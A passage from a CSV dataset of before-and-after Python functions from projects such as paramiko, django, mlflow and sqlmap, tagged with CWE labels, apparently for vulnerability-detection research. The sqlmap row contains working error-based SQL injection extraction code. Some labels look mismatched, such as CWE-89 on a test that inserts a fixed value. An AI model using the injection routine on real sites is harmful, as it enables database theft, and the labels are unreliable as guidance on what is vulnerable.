                            continue
                    else:
                        # Respond with ""I don't implement this particular
                        # message type"" message (unless the message type was
                        # itself literally MSG_UNIMPLEMENTED, in which case, we
                        # just shut up to avoid causing a useless loop).
                        name = MSG_NAMES[ptype]
                        warning = ""Oops, unhandled type {0} ({1!r})"".format(
                            ptype, name
                        )
                        self._log(WARNING, warning)
                        if ptype != MSG_UNIMPLEMENTED:
                            msg = Message()
                            msg.add_byte(cMSG_UNIMPLEMENTED)
                            msg.add_int(m.seqno)
                            self._send_message(msg)
                    self.packetizer.complete_handshake()
            except SSHException as e:
                self._log(ERROR, ""Exception: "" + str(e))
                self._log(ERROR, util.tb_strings())
                self.saved_exception = e
            except EOFError as e:
                self._log(DEBUG, ""EOF in transport thread"")
                self.saved_exception = e
            except socket.error as e:
                if type(e.args) is tuple:
                    if e.args:
                        emsg = ""%s (%d)"" % (e.args[1], e.args[0])
                    else:  # empty tuple, e.g. socket.timeout
                        emsg = str(e) or repr(e)
                else:
                    emsg = e.args
                self._log(ERROR, ""Socket exception: "" + emsg)
                self.saved_exception = e
            except Exception as e:
                self._log(ERROR, ""Unknown exception: "" + str(e))
                self._log(ERROR, util.tb_strings())
                self.saved_exception = e
            _active_threads.remove(self)
            for chan in list(self._channels.values()):
                chan._unlink()
            if self.active:
                self.active = False
                self.packetizer.close()
                if self.completion_event is not None:
                    self.completion_event.set()
                if self.auth_handler is not None:
                    self.auth_handler.abort()
                for event in self.channel_events.values():
                    event.set()
                try:
                    self.lock.acquire()
                    self.server_accept_cv.notify()
                finally:
                    self.lock.release()
            self.sock.close()
        except:
            # Don't raise spurious 'NoneType has no attribute X' errors when we
            # wake up during interpreter shutdown. Or rather -- raise
            # everything *if* sys.modules (used as a convenient sentinel)
            # appears to still exist.
            if self.sys.modules is not None:
                raise",,paramiko/paramiko,a5ce12d4830e9d3661d1e4ccddef18e112386ee1,"def run(self):
        # (use the exposed ""run"" method, because if we specify a thread target
        # of a private method, threading.Thread will keep a reference to it
        # indefinitely, creating a GC cycle and not letting Transport ever be
        # GC'd. it's a bug in Thread.)

        # Hold reference to 'sys' so we can test sys.modules to detect
        # interpreter shutdown.
        self.sys = sys

        # active=True occurs before the thread is launched, to avoid a race
        _active_threads.append(self)
        tid = hex(long(id(self)) & xffffffff)
        if self.server_mode:
            self._log(DEBUG, ""starting thread (server mode): %s"" % tid)
        else:
            self._log(DEBUG, ""starting thread (client mode): %s"" % tid)
        try:
            try:
                self.packetizer.write_all(b(self.local_version + ""\r\n""))
                self._log(
                    DEBUG, ""Local version/idstring: %s"" % self.local_version
                )  # noqa
                self._check_banner()
                # The above is actually very much part of the handshake, but
                # sometimes the banner can be read but the machine is not
                # responding, for example when the remote ssh daemon is loaded
                # in to memory but we can not read from the disk/spawn a new
                # shell.
                # Make sure we can specify a timeout for the initial handshake.
                # Re-use the banner timeout for now.
                self.packetizer.start_handshake(self.handshake_timeout)
                self._send_kex_init()
                self._expect_packet(MSG_KEXINIT)

                while self.active:
                    if self.packetizer.need_rekey() and not self.in_kex:
                        self._send_kex_init()
                    try:
                        ptype, m = self.packetizer.read_message()
                    except NeedRekeyException:
                        continue
                    if ptype == MSG_IGNORE:
                        continue
                    elif ptype == MSG_DISCONNECT:
                        self._parse_disconnect(m)
                        self.active = False
                        self.packetizer.close()
                        break
                    elif ptype == MSG_DEBUG:
                        self._parse_debug(m)
                        continue
                    if len(self._expected_packet) > 0:
                        if ptype not in self._expected_packet:
                            raise SSHException(
                                ""Expecting packet from %r, got %d""
                                % (self._expected_packet, ptype)
                            )  # noqa
                        self._expected_packet = tuple()
                        if (ptype >= 30) and (ptype <= 41):
                            self.kex_engine.parse_next(ptype, m)
                            continue

                    if ptype in self._handler_table:
                        error_msg = self._ensure_authed(ptype, m)
                        if error_msg:
                            self._send_message(error_msg)
                        else:
                            self._handler_table[ptype](self, m)
                    elif ptype in self._channel_handler_table:
                        chanid = m.get_int()
                        chan = self._channels.get(chanid)
                        if chan is not None:
                            self._channel_handler_table[ptype](chan, m)
                        elif chanid in self.channels_seen:
                            self._log(
                                DEBUG,
                                ""Ignoring message for dead channel %d""
                                % chanid,
                            )  # noqa
                        else:
                            self._log(
                                ERROR,
                                ""Channel request for unknown channel %d""
                                % chanid,
                            )  # noqa
                            self.active = False
                            self.packetizer.close()
                    elif (
                        self.auth_handler is not None
                        and ptype in self.auth_handler._handler_table
                    ):
                        handler = self.auth_handler._handler_table[ptype]
                        handler(self.auth_handler, m)
                        if len(self._expected_packet) > 0:
                            continue
                    else:
                        # Respond with ""I don't implement this particular
                        # message type"" message (unless the message type was
                        # itself literally MSG_UNIMPLEMENTED, in which case, we
                        # just shut up to avoid causing a useless loop).
                        name = MSG_NAMES[ptype]
                        warning = ""Oops, unhandled type {} ({!r})"".format(
                            ptype, name
                        )
                        self._log(WARNING, warning)
                        if ptype != MSG_UNIMPLEMENTED:
                            msg = Message()
                            msg.add_byte(cMSG_UNIMPLEMENTED)
                            msg.add_int(m.seqno)
                            self._send_message(msg)
                    self.packetizer.complete_handshake()
            except SSHException as e:
                self._log(ERROR, ""Exception: "" + str(e))
                self._log(ERROR, util.tb_strings())
                self.saved_exception = e
            except EOFError as e:
                self._log(DEBUG, ""EOF in transport thread"")
                self.saved_exception = e
            except socket.error as e:
                if type(e.args) is tuple:
                    if e.args:
                        emsg = ""%s (%d)"" % (e.args[1], e.args[0])
                    else:  # empty tuple, e.g. socket.timeout
                        emsg = str(e) or repr(e)
                else:
                    emsg = e.args
                self._log(ERROR, ""Socket exception: "" + emsg)
                self.saved_exception = e
            except Exception as e:
                self._log(ERROR, ""Unknown exception: "" + str(e))
                self._log(ERROR, util.tb_strings())
                self.saved_exception = e
            _active_threads.remove(self)
            for chan in list(self._channels.values()):
                chan._unlink()
            if self.active:
                self.active = False
                self.packetizer.close()
                if self.completion_event is not None:
                    self.completion_event.set()
                if self.auth_handler is not None:
                    self.auth_handler.abort()
                for event in self.channel_events.values():
                    event.set()
                try:
                    self.lock.acquire()
                    self.server_accept_cv.notify()
                finally:
                    self.lock.release()
            self.sock.close()
        except:
            # Don't raise spurious 'NoneType has no attribute X' errors when we
            # wake up during interpreter shutdown. Or rather -- raise
            # everything *if* sys.modules (used as a convenient sentinel)
            # appears to still exist.
            if self.sys.modules is not None:
                raise"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/environ.py,0,"def setval(key, val, false_unsets=False, permanent=False):
    """"""
    Set a single salt process environment variable. Returns True
    on success.

    key
        The environment key to set. Must be a string.

    val
        The value to set. Must be a string or False. Refer to the
        'false_unsets' parameter for behavior when set to False.

    false_unsets
        If val is False and false_unsets is True, then the key will be
        removed from the salt processes environment dict entirely.
        If val is False and false_unsets is not True, then the key's
        value will be set to an empty string.
        Default: False.

    permanent
        On Windows minions this will set the environment variable in the
        registry so that it is always added as an environment variable when
        applications open. If you want to set the variable to HKLM instead of
        HKCU just pass in ""HKLM"" for this parameter. On all other minion types
        this will be ignored. Note: This will only take affect on applications
        opened after this has been set.

    CLI Example:

    .. code-block:: bash

        salt '*' environ.setval foo bar
        salt '*' environ.setval baz val=False false_unsets=True
        salt '*' environ.setval baz bar permanent=True
        salt '*' environ.setval baz bar permanent=HKLM
    """"""
    is_windows = salt.utils.platform.is_windows()
    if is_windows:
        permanent_hive = ""HKCU""
        permanent_key = ""Environment""
        if permanent == ""HKLM"":
            permanent_hive = ""HKLM""
            permanent_key = (
                r""SYSTEM\CurrentControlSet\Control\Session Manager\Environment""
            )

    if not isinstance(key, six.string_types):
        log.debug(""%s: 'key' argument is not a string type: '%s'"", __name__, key)
    if val is False:
        if false_unsets is True:
            try:
                os.environ.pop(key, None)
                if permanent and is_windows:
                    __salt__[""reg.delete_value""](permanent_hive, permanent_key, key)
                return None
            except Exception as exc:  # pylint: disable=broad-except
                log.error(
                    ""%s: Exception occurred when unsetting "" ""environ key '%s': '%s'"",
                    __name__,
                    key,
                    exc,
                )
                return False
        else:
            val = """"
    if isinstance(val, six.string_types):
        try:
            os.environ[key] = val
            if permanent and is_windows:
                __salt__[""reg.set_value""](permanent_hive, permanent_key, key, val)
            return os.environ[key]
        except Exception as exc:  # pylint: disable=broad-except
            log.error(
                ""%s: Exception occurred when setting"" ""environ key '%s': '%s'"",
                __name__,
                key,
                exc,
            )
            return False
    else:
        log.debug(
            ""%s: 'val' argument for key '%s' is not a string "" ""or False: '%s'"",
            __name__,
            key,
            val,
        )
        return False",,saltstack/salt,c247204e2e5e663294359675d02bd1fb99619e1c,"def setval(key, val, false_unsets=False, permanent=False):
    """"""
    Set a single salt process environment variable. Returns True
    on success.

    key
        The environment key to set. Must be a string.

    val
        The value to set. Must be a string or False. Refer to the
        'false_unsets' parameter for behavior when set to False.

    false_unsets
        If val is False and false_unsets is True, then the key will be
        removed from the salt processes environment dict entirely.
        If val is False and false_unsets is not True, then the key's
        value will be set to an empty string.
        Default: False.

    permanent
        On Windows minions this will set the environment variable in the
        registry so that it is always added as an environment variable when
        applications open. If you want to set the variable to HKLM instead of
        HKCU just pass in ""HKLM"" for this parameter. On all other minion types
        this will be ignored. Note: This will only take affect on applications
        opened after this has been set.

    CLI Example:

    .. code-block:: bash

        salt '*' environ.setval foo bar
        salt '*' environ.setval baz val=False false_unsets=True
        salt '*' environ.setval baz bar permanent=True
        salt '*' environ.setval baz bar permanent=HKLM
    """"""
    is_windows = salt.utils.platform.is_windows()
    if is_windows:
        permanent_hive = ""HKCU""
        permanent_key = ""Environment""
        if permanent == ""HKLM"":
            permanent_hive = ""HKLM""
            permanent_key = (
                r""SYSTEM\CurrentControlSet\Control\Session Manager\Environment""
            )

    if not isinstance(key, six.string_types):
        log.debug(
            ""{0}: 'key' argument is not a string type: '{1}'"".format(__name__, key)
        )
    if val is False:
        if false_unsets is True:
            try:
                os.environ.pop(key, None)
                if permanent and is_windows:
                    __salt__[""reg.delete_value""](permanent_hive, permanent_key, key)
                return None
            except Exception as exc:  # pylint: disable=broad-except
                log.error(
                    ""{0}: Exception occurred when unsetting ""
                    ""environ key '{1}': '{2}'"".format(__name__, key, exc)
                )
                return False
        else:
            val = """"
    if isinstance(val, six.string_types):
        try:
            os.environ[key] = val
            if permanent and is_windows:
                __salt__[""reg.set_value""](permanent_hive, permanent_key, key, val)
            return os.environ[key]
        except Exception as exc:  # pylint: disable=broad-except
            log.error(
                ""{0}: Exception occurred when setting""
                ""environ key '{1}': '{2}'"".format(__name__, key, exc)
            )
            return False
    else:
        log.debug(
            ""{0}: 'val' argument for key '{1}' is not a string ""
            ""or False: '{2}'"".format(__name__, key, val)
        )
        return False"
,UNKNOWN,UNKNOWN,tests/transactions_regress/tests.py,1,"def test_raw_committed_on_success(self):
        """"""
        Make sure a transaction consisting of raw SQL execution gets
        committed by the commit_on_success decorator.
        """"""
        @commit_on_success
        def raw_sql():
            ""Write a record using raw sql under a commit_on_success decorator""
            with connection.cursor() as cursor:
                cursor.execute(""INSERT into transactions_regress_mod (fld) values (18)"")

        raw_sql()
        # Rollback so that if the decorator didn't commit, the record is unwritten
        transaction.rollback()
        self.assertEqual(Mod.objects.count(), 1)
        # Check that the record is in the DB
        obj = Mod.objects.all()[0]
        self.assertEqual(obj.fld, 18)",CWE-89,django/django,54bfa4caab11d364eb208ba6639836fa22d69a04,"def test_raw_committed_on_success(self):
        """"""
        Make sure a transaction consisting of raw SQL execution gets
        committed by the commit_on_success decorator.
        """"""
        @commit_on_success
        def raw_sql():
            ""Write a record using raw sql under a commit_on_success decorator""
            cursor = connection.cursor()
            cursor.execute(""INSERT into transactions_regress_mod (fld) values (18)"")

        raw_sql()
        # Rollback so that if the decorator didn't commit, the record is unwritten
        transaction.rollback()
        self.assertEqual(Mod.objects.count(), 1)
        # Check that the record is in the DB
        obj = Mod.objects.all()[0]
        self.assertEqual(obj.fld, 18)"
,UNKNOWN,UNKNOWN,tests/projects/test_docker_projects.py,1,"def test_docker_build_image_local(tmp_path):
    client = docker.from_env()
    dockerfile = tmp_path.joinpath(""Dockerfile"")
    dockerfile.write_text(
        """"""
FROM python:3.8
RUN pip --version
""""""
    )
    client.images.build(path=str(tmp_path), dockerfile=str(dockerfile), tag=""my-python:latest"")
    tmp_path.joinpath(""MLproject"").write_text(
        """"""
name: test
docker_env:
  image: my-python
entry_points:
  main:
    command: python --version
""""""
    )
    submitted_run = mlflow.projects.run(str(tmp_path))
    run = mlflow.get_run(submitted_run.run_id)
    assert run.data.tags[MLFLOW_DOCKER_IMAGE_URI] == ""my-python""",CWE-703,mlflow/mlflow,d64366ee3570c96158431b26bbe1f22a071f1a7b,"def test_docker_build_image_local(tmp_path):
    client = docker.from_env()
    dockerfile = tmp_path.joinpath(""Dockerfile"")
    dockerfile.write_text(
        """"""
FROM python:3.7
RUN pip --version
""""""
    )
    client.images.build(path=str(tmp_path), dockerfile=str(dockerfile), tag=""my-python:latest"")
    tmp_path.joinpath(""MLproject"").write_text(
        """"""
name: test
docker_env:
  image: my-python
entry_points:
  main:
    command: python --version
""""""
    )
    submitted_run = mlflow.projects.run(str(tmp_path))
    run = mlflow.get_run(submitted_run.run_id)
    assert run.data.tags[MLFLOW_DOCKER_IMAGE_URI] == ""my-python"""
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/apps/tests.py,0,"def test_get_app_config(self):
        """"""
        Tests apps.get_app_config().
        """"""
        app_config = apps.get_app_config('admin')
        self.assertEqual(app_config.name, 'django.contrib.admin')

        app_config = apps.get_app_config('staticfiles')
        self.assertEqual(app_config.name, 'django.contrib.staticfiles')

        with self.assertRaises(LookupError):
            apps.get_app_config('webdesign')

        msg = ""No installed app with label 'django.contrib.auth'. Did you mean 'myauth'""
        with self.assertRaisesMessage(LookupError, msg):
            apps.get_app_config('django.contrib.auth')",CWE-Unknown,django/django,0688a7946afac04123309afd29c95319a8d59392,"def test_get_app_config(self):
        """"""
        Tests apps.get_app_config().
        """"""
        app_config = apps.get_app_config('admin')
        self.assertEqual(app_config.name, 'django.contrib.admin')

        app_config = apps.get_app_config('staticfiles')
        self.assertEqual(app_config.name, 'django.contrib.staticfiles')

        with self.assertRaises(LookupError):
            apps.get_app_config('webdesign')"
,UNKNOWN,UNKNOWN,tests/models/test_dagrun.py,1,"def test_mapped_skip_upstream_not_deadlock(dag_maker):
    with dag_maker() as dag:

        @dag.task
        def add_one(x: int):
            return x + 1

        @dag.task
        def say_hi():
            print(""Hi"")

        added_values = add_one.expand(x=[])
        added_more_values = add_one.expand(x=[])
        say_hi() >> added_values
        added_values >> added_more_values

    dr = dag_maker.create_dagrun()

    session = dag_maker.session
    tis = {ti.task_id: ti for ti in dr.task_instances}

    tis['say_hi'].state = TaskInstanceState.SUCCESS
    session.flush()

    dr.update_state(session=session)
    assert dr.state == DagRunState.SUCCESS
    assert tis['add_one__1'].state == TaskInstanceState.SKIPPED",CWE-703,apache/airflow,6c90cea1ab63b925d58cf4949d94ec0e3b37830e,"def test_mapped_skip_upstream_not_deadlock(dag_maker):
    with dag_maker() as dag:

        @dag.task
        def add_one(x: int):
            return x + 1

        @dag.task
        def say_hi():
            print(""Hi"")

        added_values = add_one.expand(x=[])
        added_more_values = add_one.expand(x=[])
        say_hi() >> added_values
        added_values >> added_more_values

    dr = dag_maker.create_dagrun()

    session = dag_maker.session
    tis = {ti.task_id: ti for ti in dr.task_instances}

    tis['say_hi'].state = TaskInstanceState.SUCCESS
    session.flush()

    dr.update_state(session=session)
    assert dr.state == DagRunState.SUCCESS
    assert tis['add_one__1'].state == TaskInstanceState.SKIPPED"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/error/use.py,0,"def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
        logger.info(""resuming partial value: '%s'"" % _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = ""searching for error chunk length...""
        logger.debug(debugMsg)

        seen = set()
        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)

            if Backend.isDbms(DBMS.ORACLE):
                testQuery = ""RPAD('%s',%d,'%s')"" % (testChar, current, testChar)
            else:
                testQuery = ""%s('%s',%d)"" % (""REPEAT"" if Backend.isDbms(DBMS.MYSQL) else ""REPLICATE"", testChar, current)
                testQuery = ""SELECT %s"" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)

            result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
            seen.add(current)

            if (result or """").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r""\A\w+"", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current and candidate not in seen else current - 1
            else:
                current = current // 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r""(?si)%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
                trimCheck = r""(?si)%s(?P<result>[^<\n]*)"" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in (""COUNT"", ""CASE"")) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(field), expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = getTechniqueData().vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace(""[QUERY]"", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

                incrementCounter(getTechnique())

                if page and conf.noEscape:
                    page = re.sub(r""('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)"" % (kb.chars.start, kb.chars.stop), """", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = firstNotNone(
                    extractRegexResult(check, page),
                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                )

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = firstNotNone(
                        extractRegexResult(trimCheck, page),
                        extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                        extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
                        extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                    )

                    if trimmed:
                        if not chunkTest:
                            warnMsg = ""possible server trimmed output detected ""
                            warnMsg += ""(due to its length and/or content): ""
                            warnMsg += safecharencode(trimmed)
                            logger.warning(warnMsg)

                        if not kb.testMode:
                            check = r""(?P<result>[^<>\n]*?)%s"" % kb.chars.stop[:2]
                            output = extractRegexResult(check, trimmed, re.IGNORECASE)

                            if not output:
                                check = r""(?P<result>[^\s<>'\""]+)""
                                output = extractRegexResult(check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)):
                        if kb.fileReadMode:
                            dataToStdout(_formatPartialContent(output).replace(r""\n"", ""\n"").replace(r""\t"", ""\t""))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout(""\r%s\r"" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression, ""%s%s"" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, six.string_types):
            retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = ""(?si)%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
        logger.info(""resuming partial value: '%s'"" % _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = ""searching for error chunk length...""
        logger.debug(debugMsg)

        seen = set()
        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)

            if Backend.isDbms(DBMS.ORACLE):
                testQuery = ""RPAD('%s',%d,'%s')"" % (testChar, current, testChar)
            else:
                testQuery = ""%s('%s',%d)"" % (""REPEAT"" if Backend.isDbms(DBMS.MYSQL) else ""REPLICATE"", testChar, current)
                testQuery = ""SELECT %s"" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)

            result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
            seen.add(current)

            if (result or """").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r""\A\w+"", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current and candidate not in seen else current - 1
            else:
                current = current // 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r""(?si)%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
                trimCheck = r""(?si)%s(?P<result>[^<\n]*)"" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in (""COUNT"", ""CASE"")) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(field), expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = getTechniqueData().vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace(""[QUERY]"", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

                incrementCounter(getTechnique())

                if page and conf.noEscape:
                    page = re.sub(r""('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)"" % (kb.chars.start, kb.chars.stop), """", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = firstNotNone(
                    extractRegexResult(check, page),
                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                )

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = firstNotNone(
                        extractRegexResult(trimCheck, page),
                        extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                        extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
                        extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                    )

                    if trimmed:
                        if not chunkTest:
                            warnMsg = ""possible server trimmed output detected ""
                            warnMsg += ""(due to its length and/or content): ""
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r""(?P<result>[^<>\n]*?)%s"" % kb.chars.stop[:2]
                            output = extractRegexResult(check, trimmed, re.IGNORECASE)

                            if not output:
                                check = r""(?P<result>[^\s<>'\""]+)""
                                output = extractRegexResult(check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)):
                        if kb.fileReadMode:
                            dataToStdout(_formatPartialContent(output).replace(r""\n"", ""\n"").replace(r""\t"", ""\t""))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout(""\r%s\r"" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression, ""%s%s"" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, six.string_types):
            retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = ""(?si)%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/models/test_evaluation.py,0,"def iris_pandas_df_dataset():
    X, y = get_iris()
    eval_X, eval_y = X[0::3], y[0::3]
    data = pd.DataFrame(
        {
            ""f1"": eval_X[:, 0],
            ""f2"": eval_X[:, 1],
            ""f3"": eval_X[:, 2],
            ""f4"": eval_X[:, 3],
            ""y"": eval_y,
        }
    )
    constructor_args = {""data"": data, ""targets"": ""y"", ""name"": ""iris_pandas_df_dataset""}
    ds = EvaluationDataset(**constructor_args)
    ds._constructor_args = constructor_args
    return ds",,mlflow/mlflow,5fa68ff6addd439ba0f267b30cd73279379b823d,"def iris_pandas_df_dataset():
    X, y = get_iris()
    eval_X, eval_y = X[0::3], y[0::3]
    data = pd.DataFrame(
        {
            ""f1"": eval_X[:, 0],
            ""f2"": eval_X[:, 1],
            ""f3"": eval_X[:, 2],
            ""f4"": eval_X[:, 3],
            ""y"": eval_y,
        }
    )
    return EvaluationDataset(data=data, targets=""y"", name=""iris_pandas_df_dataset"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/remote_management/redfish/redfish_info.py,0,"def main():
    result = {}
    category_list = []
    module = AnsibleModule(
        argument_spec=dict(
            category=dict(type='list', default=['Systems']),
            command=dict(type='list'),
            baseuri=dict(required=True),
            username=dict(required=True),
            password=dict(required=True, no_log=True),
            timeout=dict(type='int', default=10)
        ),
        supports_check_mode=False
    )
    is_old_facts = module._name == 'redfish_facts'
    if is_old_facts:
        module.deprecate(""The 'redfish_facts' module has been renamed to 'redfish_info', ""
                         ""and the renamed one no longer returns ansible_facts"", version='2.13')

    # admin credentials used for authentication
    creds = {'user': module.params['username'],
             'pswd': module.params['password']}

    # timeout
    timeout = module.params['timeout']

    # Build root URI
    root_uri = ""https://"" + module.params['baseuri']
    rf_utils = RedfishUtils(creds, root_uri, timeout, module)

    # Build Category list
    if ""all"" in module.params['category']:
        for entry in CATEGORY_COMMANDS_ALL:
